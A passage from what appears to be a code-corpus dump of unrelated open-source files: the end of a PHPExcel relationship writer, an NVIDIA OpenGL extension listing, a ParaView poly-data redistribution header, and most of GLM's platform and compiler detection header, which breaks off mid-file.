'')\n\t{\n\t\tif ($pType != '' && $pTarget != '') {\n\t\t\t// Write relationship\n\t\t\t$objWriter->startElement('Relationship');\n\t\t\t$objWriter->writeAttribute('Id', \t\t'rId' . $pId);\n\t\t\t$objWriter->writeAttribute('Type', \t\t$pType);\n\t\t\t$objWriter->writeAttribute('Target',\t$pTarget);\n\n\t\t\tif ($pTargetMode != '') {\n\t\t\t\t$objWriter->writeAttribute('TargetMode',\t$pTargetMode);\n\t\t\t}\n\n\t\t\t$objWriter->endElement();\n\t\t} else {\n\t\t\tthrow new PHPExcel_Writer_Exception(\"Invalid parameters passed.\");\n\t\t}\n\t}\n}\n"} +{"text": "GL_NV_parameter_buffer_object\nhttp://developer.download.nvidia.com/opengl/specs/GL_NV_parameter_buffer_object.txt\nGL_NV_parameter_buffer_object\n\tGL_VERTEX_PROGRAM_PARAMETER_BUFFER_NV 0x8DA2\n\tGL_GEOMETRY_PROGRAM_PARAMETER_BUFFER_NV 0x8DA3\n\tGL_FRAGMENT_PROGRAM_PARAMETER_BUFFER_NV 0x8DA4\n\tGL_MAX_PROGRAM_PARAMETER_BUFFER_BINDINGS_NV 0x8DA0\n\tGL_MAX_PROGRAM_PARAMETER_BUFFER_SIZE_NV 0x8DA1\n\tvoid glProgramBufferParametersfvNV (GLenum target, GLuint buffer, GLuint index, GLsizei count, const GLfloat *params)\n\tvoid glProgramBufferParametersIivNV (GLenum target, GLuint buffer, GLuint index, GLsizei count, const GLint *params)\n\tvoid glProgramBufferParametersIuivNV (GLenum target, GLuint buffer, GLuint index, GLsizei count, const GLuint *params)\n"} +{"text": "/*=========================================================================\n\n Program: ParaView\n Module: vtkRedistributePolyData.h\n\n Copyright (c) Kitware, Inc.\n All rights reserved.\n See Copyright.txt or http://www.paraview.org/HTML/Copyright.html for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*/\n/*----------------------------------------------------------------------------\n Copyright (c) Los Alamos National Laboratory\n See Copyright.txt or http://www.paraview.org/HTML/Copyright.html for details.\n----------------------------------------------------------------------------*/\n\n/**\n * @class vtkRedistributePolyData\n * @brief redistribute poly cells from other processes\n * (special version to color according to processor)\n*/\n\n#ifndef vtkRedistributePolyData_h\n#define vtkRedistributePolyData_h\n\n#include \"vtkPVVTKExtensionsFiltersRenderingModule.h\" // needed for export macro\n#include \"vtkPolyDataAlgorithm.h\"\n\n//*******************************************************************\nclass vtkDataArray;\nclass vtkDataSetAttributes;\nclass vtkMultiProcessController;\nclass vtkSocketController;\n\nclass VTKPVVTKEXTENSIONSFILTERSRENDERING_EXPORT vtkRedistributePolyData\n : public vtkPolyDataAlgorithm\n{\npublic:\n vtkTypeMacro(vtkRedistributePolyData, vtkPolyDataAlgorithm);\n void PrintSelf(ostream& os, vtkIndent indent) override;\n\n static vtkRedistributePolyData* New();\n\n /**\n * The filter needs a controller to determine which process it is in.\n */\n virtual void SetController(vtkMultiProcessController*);\n vtkGetObjectMacro(Controller, vtkMultiProcessController);\n\n vtkGetMacro(ColorProc, int);\n vtkSetMacro(ColorProc, int);\n void SetColorProc() { this->ColorProc = 1; };\n\n //@{\n /**\n * These are here for ParaView compatibility. Not used.\n */\n virtual void SetSocketController(vtkSocketController*){};\n virtual void SetPassThrough(int){};\n virtual int GetPassThrough() { return 0; };\n vtkBooleanMacro(PassThrough, int);\n //@}\n\nprotected:\n vtkRedistributePolyData();\n ~vtkRedistributePolyData();\n\n enum\n {\n CELL_ID_TAG = 10,\n POINT_COORDS_TAG = 20,\n NUM_POINTS_TAG = 30,\n NUM_CELLS_TAG = 40,\n BOUNDS_TAG = 60,\n CNT_SEND_TAG = 80,\n CNT_REC_TAG = 90,\n SEND_PROC_TAG = 100,\n SEND_NUM_TAG = 110,\n REC_PROC_TAG = 120,\n REC_NUM_TAG = 130,\n NUM_CURR_CELLS_TAG = 140,\n\n CELL_CNT_TAG = 150,\n CELL_TAG = 160,\n POINTS_SIZE_TAG = 170,\n POINTS_TAG = 180\n };\n\n class VTKPVVTKEXTENSIONSFILTERSRENDERING_EXPORT vtkCommSched\n {\n public:\n vtkCommSched();\n ~vtkCommSched();\n\n int SendCount;\n int ReceiveCount;\n int* SendTo;\n int* ReceiveFrom;\n vtkIdType* NumberOfCells;\n vtkIdType** SendNumber;\n vtkIdType** ReceiveNumber;\n\n vtkIdType*** SendCellList;\n vtkIdType** KeepCellList;\n\n private:\n vtkCommSched(const vtkCommSched&) = delete;\n void operator=(const vtkCommSched&) = delete;\n };\n\n virtual void MakeSchedule(vtkPolyData* input, vtkCommSched*);\n void OrderSchedule(vtkCommSched*);\n\n void SendCellSizes(\n vtkIdType*, vtkIdType*, vtkPolyData*, int, vtkIdType&, vtkIdType*, vtkIdType**);\n void CopyCells(vtkIdType*, vtkPolyData*, vtkPolyData*, vtkIdType**);\n void SendCells(\n vtkIdType*, vtkIdType*, vtkPolyData*, vtkPolyData*, int, vtkIdType&, vtkIdType*, vtkIdType**);\n void ReceiveCells(\n vtkIdType*, vtkIdType*, vtkPolyData*, int, vtkIdType*, vtkIdType*, vtkIdType, vtkIdType);\n\n void FindMemReq(vtkIdType*, vtkPolyData*, vtkIdType&, vtkIdType*);\n\n void AllocateCellDataArrays(vtkDataSetAttributes*, vtkIdType**, int, vtkIdType*);\n void AllocatePointDataArrays(vtkDataSetAttributes*, vtkIdType*, int, vtkIdType);\n void AllocateArrays(vtkDataArray*, vtkIdType);\n\n void CopyDataArrays(vtkDataSetAttributes*, vtkDataSetAttributes*, vtkIdType, vtkIdType*, int);\n\n void CopyCellBlockDataArrays(\n vtkDataSetAttributes*, vtkDataSetAttributes*, vtkIdType, vtkIdType, vtkIdType, vtkIdType, int);\n\n void CopyArrays(vtkDataArray*, vtkDataArray*, vtkIdType, vtkIdType*, int);\n\n void CopyBlockArrays(\n vtkDataArray*, vtkDataArray*, vtkIdType, vtkIdType, vtkIdType, vtkIdType, int);\n\n void SendDataArrays(\n vtkDataSetAttributes*, vtkDataSetAttributes*, vtkIdType, int, vtkIdType*, int);\n\n void SendCellBlockDataArrays(\n vtkDataSetAttributes*, vtkDataSetAttributes*, vtkIdType, int, vtkIdType, int);\n\n void SendArrays(vtkDataArray*, vtkIdType, int, vtkIdType*, int);\n\n void SendBlockArrays(vtkDataArray*, vtkIdType, int, vtkIdType, int);\n\n void ReceiveDataArrays(vtkDataSetAttributes*, vtkIdType, int, vtkIdType*, int);\n\n void ReceiveArrays(vtkDataArray*, vtkIdType, int, vtkIdType*, int);\n\n int RequestData(vtkInformation* request, vtkInformationVector** inputVector,\n vtkInformationVector* outputVector) override;\n\n // Do this as a proprocessing step.\n void CompleteInputArrays(vtkPolyData* input);\n void ReceiveInputArrays(vtkDataSetAttributes* attr, int recFrom);\n void SendInputArrays(vtkDataSetAttributes* attr, int sendTo);\n int DoubleCheckArrays(vtkPolyData* input);\n\n vtkMultiProcessController* Controller;\n\n int ColorProc; // Set to 1 to color data according to processor\n\nprivate:\n vtkRedistributePolyData(const vtkRedistributePolyData&) = delete;\n void operator=(const vtkRedistributePolyData&) = delete;\n};\n\n//****************************************************************\n\n#endif\n"} +{"text": "///////////////////////////////////////////////////////////////////////////////////\n/// OpenGL Mathematics (glm.g-truc.net)\n///\n/// Copyright (c) 2005 - 2013 G-Truc Creation (www.g-truc.net)\n/// Permission is hereby granted, free of charge, to any person obtaining a copy\n/// of this software and associated documentation files (the \"Software\"), to deal\n/// in the Software without restriction, including without limitation the rights\n/// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n/// copies of the Software, and to permit persons to whom the Software is\n/// furnished to do so, subject to the following conditions:\n/// \n/// The above copyright notice and this permission notice shall be included in\n/// all copies or substantial portions of the Software.\n/// \n/// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n/// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n/// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n/// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n/// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n/// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n/// THE SOFTWARE.\n///\n/// @ref core\n/// @file glm/core/setup.hpp\n/// @date 2006-11-13 / 2011-06-15\n/// @author Christophe Riccio\n///////////////////////////////////////////////////////////////////////////////////\n\n#ifndef glm_setup\n#define glm_setup\n\n///////////////////////////////////////////////////////////////////////////////////////////////////\n// Version\n\n#define GLM_VERSION\t\t\t\t\t94\n#define GLM_VERSION_MAJOR\t\t\t0\n#define GLM_VERSION_MINOR\t\t\t9\n#define GLM_VERSION_PATCH\t\t\t4\n#define GLM_VERSION_REVISION\t\t3\n\n///////////////////////////////////////////////////////////////////////////////////////////////////\n// Platform\n\n#define GLM_PLATFORM_UNKNOWN\t\t0x00000000\n#define GLM_PLATFORM_WINDOWS\t\t0x00010000\n#define GLM_PLATFORM_LINUX\t\t\t0x00020000\n#define GLM_PLATFORM_APPLE\t\t\t0x00040000\n//#define GLM_PLATFORM_IOS\t\t\t0x00080000\n#define GLM_PLATFORM_ANDROID\t\t0x00100000\n#define GLM_PLATFORM_CHROME_NACL\t0x00200000\n#define GLM_PLATFORM_UNIX\t\t\t0x00400000\n#define GLM_PLATFORM_QNXNTO\t\t\t0x00800000\n\n#ifdef GLM_FORCE_PLATFORM_UNKNOWN\n#\tdefine GLM_PLATFORM GLM_PLATFORM_UNKNOWN\n#elif defined(__QNXNTO__)\n#\tdefine GLM_PLATFORM GLM_PLATFORM_QNXNTO\n#elif defined(__APPLE__)\n#\tdefine GLM_PLATFORM GLM_PLATFORM_APPLE\n#elif defined(_WIN32)\n#\tdefine GLM_PLATFORM GLM_PLATFORM_WINDOWS\n#elif defined(__native_client__)\n#\tdefine GLM_PLATFORM GLM_PLATFORM_CHROME_NACL\n#elif defined(__ANDROID__)\n#\tdefine GLM_PLATFORM GLM_PLATFORM_ANDROID\n#elif defined(__linux)\n#\tdefine GLM_PLATFORM GLM_PLATFORM_LINUX\n#elif defined(__unix)\n#\tdefine GLM_PLATFORM GLM_PLATFORM_UNIX\n#else\n#\tdefine GLM_PLATFORM GLM_PLATFORM_UNKNOWN\n#endif//\n\n// Report platform detection\n#if(defined(GLM_MESSAGES) && !defined(GLM_MESSAGE_PLATFORM_DISPLAYED))\n#\tdefine GLM_MESSAGE_PLATFORM_DISPLAYED\n#\tif(GLM_PLATFORM & GLM_PLATFORM_WINDOWS)\n#\t\tpragma message(\"GLM: Windows platform detected\")\n//#\telif(GLM_PLATFORM & GLM_PLATFORM_IOS)\n//#\t\tpragma message(\"GLM: iOS platform detected\")\n#\telif(GLM_PLATFORM & GLM_PLATFORM_APPLE)\n#\t\tpragma message(\"GLM: Apple platform detected\")\n#\telif(GLM_PLATFORM & GLM_PLATFORM_LINUX)\n#\t\tpragma message(\"GLM: Linux platform detected\")\n#\telif(GLM_PLATFORM & GLM_PLATFORM_UNIX)\n#\t\tpragma message(\"GLM: UNIX platform detected\")\n#\telif(GLM_PLATFORM & GLM_PLATFORM_ANDROID)\n#\t\tpragma message(\"GLM: Android platform detected\")\n#\telif(GLM_PLATFORM & GLM_PLATFORM_CHROME_NACL)\n#\t\tpragma message(\"GLM: Chrone Native Client detected\")\n#\telif(GLM_PLATFORM & GLM_PLATFORM_UNKNOWN)\n#\t\tpragma message(\"GLM: platform unknown\")\n#\telse\n#\t\tpragma message(\"GLM: platform not detected\")\n#\tendif\n#endif//GLM_MESSAGE\n\n///////////////////////////////////////////////////////////////////////////////////////////////////\n// Compiler\n\n// User defines: GLM_FORCE_COMPILER_UNKNOWN\n// TODO ? __llvm__ \n\n#define GLM_COMPILER_UNKNOWN\t\t0x00000000\n\n// Visual C++ defines\n#define GLM_COMPILER_VC\t\t\t\t0x01000000\n#define GLM_COMPILER_VC2\t\t\t0x01000010\n#define GLM_COMPILER_VC4\t\t\t0x01000020\n#define GLM_COMPILER_VC5\t\t\t0x01000030\n#define GLM_COMPILER_VC6\t\t\t0x01000040\n#define GLM_COMPILER_VC2002\t\t\t0x01000050\n#define GLM_COMPILER_VC2003\t\t\t0x01000060\n#define GLM_COMPILER_VC2005\t\t\t0x01000070\n#define GLM_COMPILER_VC2008\t\t\t0x01000080\n#define GLM_COMPILER_VC2010\t\t\t0x01000090\n#define GLM_COMPILER_VC2012\t\t\t0x010000A0\n\n// GCC defines\n#define GLM_COMPILER_GCC\t\t\t0x02000000\n#define GLM_COMPILER_GCC_LLVM\t\t0x02000001\n#define GLM_COMPILER_GCC_CLANG\t\t0x02000002\n#define GLM_COMPILER_GCC30\t\t\t0x02000010\n#define GLM_COMPILER_GCC31\t\t\t0x02000020\n#define GLM_COMPILER_GCC32\t\t\t0x02000030\n#define GLM_COMPILER_GCC33\t\t\t0x02000040\n#define GLM_COMPILER_GCC34\t\t\t0x02000050\n#define GLM_COMPILER_GCC35\t\t\t0x02000060\n#define GLM_COMPILER_GCC40\t\t\t0x02000070\n#define GLM_COMPILER_GCC41\t\t\t0x02000080\n#define GLM_COMPILER_GCC42\t\t\t0x02000090\n#define GLM_COMPILER_GCC43\t\t\t0x020000A0\n#define GLM_COMPILER_GCC44\t\t\t0x020000B0\n#define GLM_COMPILER_GCC45\t\t\t0x020000C0\n#define GLM_COMPILER_GCC46\t\t\t0x020000D0\n#define GLM_COMPILER_GCC47\t\t\t0x020000E0\n#define GLM_COMPILER_GCC48\t\t\t0x020000F0\n#define GLM_COMPILER_GCC49\t\t\t0x02000100\n#define GLM_COMPILER_GCC50\t\t\t0x02000200\n\n// G++ command line to display defined\n// echo \"\" | g++ -E -dM -x c++ - | sort\n\n// Borland C++ defines. How to identify BC?\n#define GLM_COMPILER_BC\t\t\t\t0x04000000\n#define GLM_COMPILER_BCB4\t\t\t0x04000100\n#define GLM_COMPILER_BCB5\t\t\t0x04000200\n#define GLM_COMPILER_BCB6\t\t\t0x04000300\n//#define GLM_COMPILER_BCBX\t\t\t0x04000400 // What's the version value?\n#define GLM_COMPILER_BCB2009\t\t0x04000500\n\n// CodeWarrior\n#define GLM_COMPILER_CODEWARRIOR\t0x08000000\n\n// CUDA\n#define GLM_COMPILER_CUDA\t\t\t0x10000000\n#define GLM_COMPILER_CUDA30\t\t\t0x10000010\n#define GLM_COMPILER_CUDA31\t\t\t0x10000020\n#define GLM_COMPILER_CUDA32\t\t\t0x10000030\n#define GLM_COMPILER_CUDA40\t\t\t0x10000040\n#define GLM_COMPILER_CUDA41\t\t\t0x10000050\n#define GLM_COMPILER_CUDA42\t\t\t0x10000060\n\n// Clang\n#define GLM_COMPILER_CLANG\t\t\t0x20000000\n#define GLM_COMPILER_CLANG26\t\t0x20000010\n#define GLM_COMPILER_CLANG27\t\t0x20000020\n#define GLM_COMPILER_CLANG28\t\t0x20000030\n#define GLM_COMPILER_CLANG29\t\t0x20000040\n#define GLM_COMPILER_CLANG30\t\t0x20000050\n#define GLM_COMPILER_CLANG31\t\t0x20000060\n#define GLM_COMPILER_CLANG32\t\t0x20000070\n#define GLM_COMPILER_CLANG33\t\t0x20000080\n#define GLM_COMPILER_CLANG40\t\t0x20000090\n#define GLM_COMPILER_CLANG41\t\t0x200000A0\n#define GLM_COMPILER_CLANG42\t\t0x200000B0\n#define GLM_COMPILER_CLANG43\t\t0x200000C0\n\n// LLVM GCC\n#define GLM_COMPILER_LLVM_GCC\t\t0x40000000\n\n// Intel\n#define GLM_COMPILER_INTEL\t\t\t0x80000000\n#define GLM_COMPILER_INTEL9\t\t\t0x80000010\n#define GLM_COMPILER_INTEL10_0\t\t0x80000020\n#define GLM_COMPILER_INTEL10_1\t\t0x80000030\n#define GLM_COMPILER_INTEL11_0\t\t0x80000040\n#define GLM_COMPILER_INTEL11_1\t\t0x80000050\n#define GLM_COMPILER_INTEL12_0\t\t0x80000060\n#define GLM_COMPILER_INTEL12_1\t\t0x80000070\n#define GLM_COMPILER_INTEL13_0\t\t0x80000080\n\n// Build model\n#define GLM_MODEL_32\t\t\t\t0x00000010\n#define GLM_MODEL_64\t\t\t\t0x00000020\n\n// Force generic C++ compiler\n#ifdef GLM_FORCE_COMPILER_UNKNOWN\n#\tdefine GLM_COMPILER GLM_COMPILER_UNKNOWN\n\n#elif defined(__INTEL_COMPILER)\n#\tif __INTEL_COMPILER == 900\n#\t\tdefine GLM_COMPILER GLM_COMPILER_INTEL9\n#\telif __INTEL_COMPILER == 1000\n#\t\tdefine GLM_COMPILER GLM_COMPILER_INTEL10_0\n#\telif __INTEL_COMPILER == 1010\n#\t\tdefine GLM_COMPILER GLM_COMPILER_INTEL10_1\n#\telif __INTEL_COMPILER == 1100\n#\t\tdefine GLM_COMPILER GLM_COMPILER_INTEL11_0\n#\telif __INTEL_COMPILER == 1110\n#\t\tdefine GLM_COMPILER GLM_COMPILER_INTEL11_1\n#\telif __INTEL_COMPILER == 1200\n#\t\tdefine GLM_COMPILER GLM_COMPILER_INTEL12_0\n#\telif __INTEL_COMPILER == 1210\n#\t\tdefine GLM_COMPILER GLM_COMPILER_INTEL12_1\n#\telif __INTEL_COMPILER == 1300\n#\t\tdefine GLM_COMPILER GLM_COMPILER_INTEL13_0\n#\telse\n#\t\tdefine GLM_COMPILER GLM_COMPILER_INTEL\n#\tendif\n\n// CUDA\n#elif defined(__CUDACC__)\n#\tdefine GLM_COMPILER GLM_COMPILER_CUDA\n/*\n#\tif CUDA_VERSION < 3000\n#\t\terror \"GLM requires CUDA 3.0 or higher\"\n#\telif CUDA_VERSION == 3000\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CUDA30\t\n#\telif CUDA_VERSION == 3010\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CUDA31\t\n#\telif CUDA_VERSION == 3020\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CUDA32\t\n#\telif CUDA_VERSION == 4000\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CUDA40\t\n#\telif CUDA_VERSION == 4010\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CUDA41\t\n#\telif CUDA_VERSION == 4020\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CUDA42\n#\telse\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CUDA\n#\tendif\n*/\n\n// Visual C++\n#elif defined(_MSC_VER)\n#\tif _MSC_VER == 900\n#\t\tdefine GLM_COMPILER GLM_COMPILER_VC2\n#\telif _MSC_VER == 1000\n#\t\tdefine GLM_COMPILER GLM_COMPILER_VC4\n#\telif _MSC_VER == 1100\n#\t\tdefine GLM_COMPILER GLM_COMPILER_VC5\n#\telif _MSC_VER == 1200\n#\t\tdefine GLM_COMPILER GLM_COMPILER_VC6\n#\telif _MSC_VER == 1300\n#\t\tdefine GLM_COMPILER GLM_COMPILER_VC2002\n#\telif _MSC_VER == 1310\n#\t\tdefine GLM_COMPILER GLM_COMPILER_VC2003\n#\telif _MSC_VER == 1400\n#\t\tdefine GLM_COMPILER GLM_COMPILER_VC2005\n#\telif _MSC_VER == 1500\n#\t\tdefine GLM_COMPILER GLM_COMPILER_VC2008\n#\telif _MSC_VER == 1600\n#\t\tdefine GLM_COMPILER GLM_COMPILER_VC2010\n#\telif _MSC_VER == 1700\n#\t\tdefine GLM_COMPILER GLM_COMPILER_VC2012\n#\telse//_MSC_VER\n#\t\tdefine GLM_COMPILER GLM_COMPILER_VC\n#\tendif//_MSC_VER\n\n// Clang\n#elif defined(__clang__)\n#\tif(__clang_major__ == 2) && (__clang_minor__ == 6)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CLANG26\n#\telif(__clang_major__ == 2) && (__clang_minor__ == 7)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CLANG27\n#\telif(__clang_major__ == 2) && (__clang_minor__ == 8)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CLANG28\n#\telif(__clang_major__ == 2) && (__clang_minor__ == 9)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CLANG29\n#\telif(__clang_major__ == 3) && (__clang_minor__ == 0)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CLANG30\n#\telif(__clang_major__ == 3) && (__clang_minor__ == 1)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CLANG31\n#\telif(__clang_major__ == 3) && (__clang_minor__ == 2)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CLANG32\n#\telif(__clang_major__ == 3) && (__clang_minor__ == 3)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CLANG33\n#\telif(__clang_major__ == 4) && (__clang_minor__ == 0)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CLANG40\n#\telif(__clang_major__ == 4) && (__clang_minor__ == 1)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CLANG41\n#\telif(__clang_major__ == 4) && (__clang_minor__ == 2)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CLANG42\n#\telif(__clang_major__ == 4) && (__clang_minor__ == 3)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CLANG43\n#\telse\n#\t\tdefine GLM_COMPILER GLM_COMPILER_CLANG\n#\tendif\n\n// G++ \n#elif(defined(__GNUC__) || defined(__MINGW32__))// || defined(__llvm__) || defined(__clang__)\n#\tif (__GNUC__ == 3) && (__GNUC_MINOR__ == 2)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_GCC32\n#\telif (__GNUC__ == 3) && (__GNUC_MINOR__ == 3)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_GCC33\n#\telif (__GNUC__ == 3) && (__GNUC_MINOR__ == 4)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_GCC34\n#\telif (__GNUC__ == 3) && (__GNUC_MINOR__ == 5)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_GCC35\n#\telif (__GNUC__ == 4) && (__GNUC_MINOR__ == 0)\n#\t\tdefine GLM_COMPILER (GLM_COMPILER_GCC40)\n#\telif (__GNUC__ == 4) && (__GNUC_MINOR__ == 1)\n#\t\tdefine GLM_COMPILER (GLM_COMPILER_GCC41)\n#\telif (__GNUC__ == 4) && (__GNUC_MINOR__ == 2)\n#\t\tdefine GLM_COMPILER (GLM_COMPILER_GCC42)\n#\telif (__GNUC__ == 4) && (__GNUC_MINOR__ == 3)\n#\t\tdefine GLM_COMPILER (GLM_COMPILER_GCC43)\n#\telif (__GNUC__ == 4) && (__GNUC_MINOR__ == 4)\n#\t\tdefine GLM_COMPILER (GLM_COMPILER_GCC44)\n#\telif (__GNUC__ == 4) && (__GNUC_MINOR__ == 5)\n#\t\tdefine GLM_COMPILER (GLM_COMPILER_GCC45)\n#\telif (__GNUC__ == 4) && (__GNUC_MINOR__ == 6)\n#\t\tdefine GLM_COMPILER (GLM_COMPILER_GCC46)\n#\telif (__GNUC__ == 4) && (__GNUC_MINOR__ == 7)\n#\t\tdefine GLM_COMPILER (GLM_COMPILER_GCC47)\n#\telif (__GNUC__ == 4) && (__GNUC_MINOR__ == 8)\n#\t\tdefine GLM_COMPILER (GLM_COMPILER_GCC48)\n#\telif (__GNUC__ == 4) && (__GNUC_MINOR__ == 9)\n#\t\tdefine GLM_COMPILER (GLM_COMPILER_GCC49)\n#\telif (__GNUC__ == 5) && (__GNUC_MINOR__ == 0)\n#\t\tdefine GLM_COMPILER (GLM_COMPILER_GCC50)\n#\telse\n#\t\tdefine GLM_COMPILER (GLM_COMPILER_GCC)\n#\tendif\n\n// Borland C++\n#elif defined(_BORLANDC_)\n#\tif defined(VER125)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_BCB4\n#\telif defined(VER130)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_BCB5\n#\telif defined(VER140)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_BCB6\n#\telif defined(VER200)\n#\t\tdefine GLM_COMPILER GLM_COMPILER_BCB2009\n#\telse\n#\t\tdefine GLM_COMPILER GLM_COMPILER_BC\n#\tendif\n\n// Codewarrior\n#elif defined(__MWERKS__)\n#\tdefine GLM_COMPILER GLM_COMPILER_CODEWARRIOR\n\n#else\n#\tdefine GLM_COMPILER GLM_COMPILER_UNKNOWN\n#endif\n\n#ifndef GLM_COMPILER\n#error \"GLM_COMPILER undefined, your compiler may not be supported by GLM. Add #define GLM_COMPILER 0 to ignore this message.\"\n#endif//GLM_COMPILER\n\n// Report compiler detection\n#if(defined(GLM_MESSAGES) && !defined(GLM_MESSAGE_COMPILER_DISPLAYED))\n#\tdefine GLM_MESSAGE_COMPILER_DISPLAYED\n#\tif(GLM_COMPILER & GLM_COMPILER_CUDA)\n#\t\tpragma message(\"GLM: CUDA compiler detected\")\n#\telif(GLM_COMPILER & GLM_COMPILER_VC)\n#\t\tpragma message(\"GLM: Visual C++ compiler detected\")\n#\telif(GLM_COMPILER & GLM_COMPILER_CLANG)\n#\t\tpragma message(\"GLM: Clang compiler detected\")\n#\telif(GLM_COMPILER & GLM_COMPILER_LLVM_GCC)\n#\t\tpragma message(\"GLM: LLVM GCC compiler detected\")\n#\telif(GLM_COMPILER & GLM_COMPILER_GCC)\n#\t\tif(GLM_COMPILER == GLM_COMPILER_GCC_LLVM)\n#\t\t\tpragma message(\"GLM: LLVM GCC compiler detected\")\n#\t\telif(GLM_COMPILER == GLM_COMPILER_GCC_CLANG)\n#\t\t\tpragma message(\"GLM: CLANG compiler detected\")\n#\t\telse\n#\t\t\tpragma message(\"GLM: GCC compiler detected\")\n#\t\tendif\n#\telif(GLM_COMPILER & GLM_COMPILER_BC)\n#\t\tpragma message(\"GLM: Borland compiler detected but not supported\")\n#\telif(GLM_COMPILER & GLM_COMPILER_CODEWARRIOR)\n#\t\tpragma message(\"GLM: Codewarrior compiler detected but not supported\")\n#\telse\n#\t\tpragma message(\"GLM: Compiler not detected\")\n#\tendif\n#endif//GLM_MESSAGE\n\n/////////////////\n// Build model //\n\n#if(defined(__arch64__) || defined(__LP64__) || defined(_M_X64) || defined(__ppc64__) || defined(__x86_64__))\n#\t\tdefine GLM_MODEL\tGLM_MODEL_64\n#elif(defined(__i386__) || defined(__ppc__))\n#\tdefine GLM_MODEL\tGLM_MODEL_32\n#else\n#\tdefine GLM_MODEL\tGLM_MODEL_32\n#endif//\n\n#if(!defined(GLM_MODEL) && GLM_COMPILER != 0)\n#\terror \"GLM_MODEL undefined, your compiler may not be supported by GLM. Add #define GLM_MODEL 0 to ignore this message.\"\n#endif//GLM_MODEL\n\n#if(defined(GLM_MESSAGES) && !defined(GLM_MESSAGE_MODEL_DISPLAYED))\n#\tdefine GLM_MESSAGE_MODEL_DISPLAYED\n#\tif(GLM_MODEL == GLM_MODEL_64)\n#\t\tpragma message(\"GLM: 64 bits model\")\n#\telif(GLM_MODEL == GLM_MODEL_32)\n#\t\tpragma message(\"GLM: 32 bits model\")\n#\tendif//GLM_MODEL\n#endif//GLM_MESSAGE\n\n/////////////////\n// C++ Version //\n\n// User defines: GLM_FORCE_CXX98\n\n#define GLM_LANG_CXX\t\t\t(0 << 0)\n#define GLM_LANG_CXX98\t\t\t((1 << 1) | GLM_LANG_CXX)\n#define GLM_LANG_CXX03\t\t\t((1 << 2) | GLM_LANG_CXX98)\n#define GLM_LANG_CXX0X\t\t\t((1 << 3) | GLM_LANG_CXX03)\n#define GLM_LANG_CXX11\t\t\t((1 << 4) | GLM_LANG_CXX0X)\n#define GLM_LANG_CXXMS\t\t\t(1 << 5)\n#define GLM_LANG_CXXGNU\t\t\t(1 << 6)\n\n#if(defined(GLM_FORCE_CXX11))\n#\tdefine GLM_LANG GLM_LANG_CXX11\n#elif(defined(GLM_FORCE_CXX03))\n#\tdefine GLM_LANG GLM_LANG_CXX03\n#elif(defined(GLM_FORCE_CXX98))\n#\tdefine GLM_LANG GLM_LANG_CXX98\n#else\n#\tif(__cplusplus >= 201103L)\n#\t\tdefine GLM_LANG GLM_LANG_CXX11\n#\telif(((GLM_COMPILER & GLM_COMPILER_GCC) == GLM_COMPILER_GCC) && defined(__GXX_EXPERIMENTAL_CXX0X__)) \n#\t\tdefine GLM_LANG GLM_LANG_CXX0X\n#\telif(((GLM_COMPILER & GLM_COMPILER_VC) == GLM_COMPILER_VC) && defined(_MSC_EXTENSIONS))\n#\t\tdefine GLM_LANG GLM_LANG_CXXMS\n#\telif(((GLM_COMPILER & GLM_COMPILER_VC) == GLM_COMPILER_VC) && !defined(_MSC_EXTENSIONS))\n#\t\tif(GLM_COMPILER == GLM_COMPILER_VC2010)\n#\t\t\tdefine GLM_LANG GLM_LANG_CXX0X\n#\t\telse\n#\t\t\tdefine GLM_LANG GLM_LANG_CXX98\n#\t\tendif//(GLM_COMPILER == GLM_COMPILER_VC2010)\n#\telif(__cplusplus >= 199711L)\n#\t\tdefine GLM_LANG GLM_LANG_CXX98\n#\telse\n#\t\tdefine GLM_LANG GLM_LANG_CXX\n#\tendif\n#endif\n\n#if(defined(GLM_MESSAGES) && !defined(GLM_MESSAGE_LANG_DISPLAYED))\n#\tdefine GLM_MESSAGE_LANG_DISPLAYED\n#\tif(GLM_LANG == GLM_LANG_CXX98)\n#\t\tpragma message(\"GLM: C++98\")\n#\telif(GLM_LANG == GLM_LANG_CXX03)\n#\t\tpragma message(\"GLM: C++03\")\n#\telif(GLM_LANG == GLM_LANG_CXX0X)\n#\t\tpragma message(\"GLM: C++0x\")\n#\telif(GLM_LANG == GLM_LANG_CXX11)\n#\t\tpragma message(\"GLM: C++11\")\n#\telif(GLM_LANG == 